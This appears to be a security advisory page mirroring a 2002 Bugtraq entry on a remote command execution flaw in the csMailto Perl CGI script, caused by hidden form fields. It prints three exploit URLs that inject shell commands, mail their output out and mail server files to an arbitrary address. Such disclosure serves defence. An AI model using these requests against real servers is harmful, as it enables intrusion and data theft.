CGIScript.NET csMailto Hidden Form Field Remote Command Execution Vulnerability

BID:4579

Info

CGIScript.NET csMailto Hidden Form Field Remote Command Execution Vulnerability

Bugtraq ID: 4579
Class: Input Validation Error
CVE: CVE-2002-0749
CVE-2002-0751
Remote: Yes
Local: No
Published: Apr 23 2002 12:00AM
Updated: Jul 11 2009 12:46PM
Credit: Discovered by Steve Gustin <[email protected]>.
Vulnerable: CGISCRIPT.NET csMailto
Not Vulnerable:

Discussion

CGIScript.NET csMailto Hidden Form Field Remote Command Execution Vulnerability

CGIScript.NET csMailto is a Perl script designed to support multiple mailto: forms. A vulnerability has been reported in some versions of this script.

Reportedly, configuration values used by the script are contained in hidden form values. As a result, a remote attacker may trivially modify these values between script invocations. Consequences include arbitrary command execution on the vulnerable system.

Exploit / POC

CGIScript.NET csMailto Hidden Form Field Remote Command Execution Vulnerability

Multiple exploits are provided by Steve Gustin &lt;[email protected]&gt;, including:

- execute commands on server

CSMailto.cgi?form-attachment=SHELL_COMMANDS_HERE|&amp;command=mailform

- execute command on server and mail output to anyone

CSMailto.cgi?form-attachment=SHELL_COMMANDS_HERE|&amp;[email protected]&amp;form-autoresponse=YES&amp;command=mailform

- email server file to anyone

CSMailto.cgi?form-attachment=FILEPATH_HERE&amp;[email protected]&amp;form-autoresponse=YES&amp;command=mailform

Solution / Fix

CGIScript.NET csMailto Hidden Form Field Remote Command Execution Vulnerability

Solution:
Currently the SecurityFocus staff are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

References

CGIScript.NET csMailto Hidden Form Field Remote Command Execution Vulnerability

References:

© CVE.report 2026

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report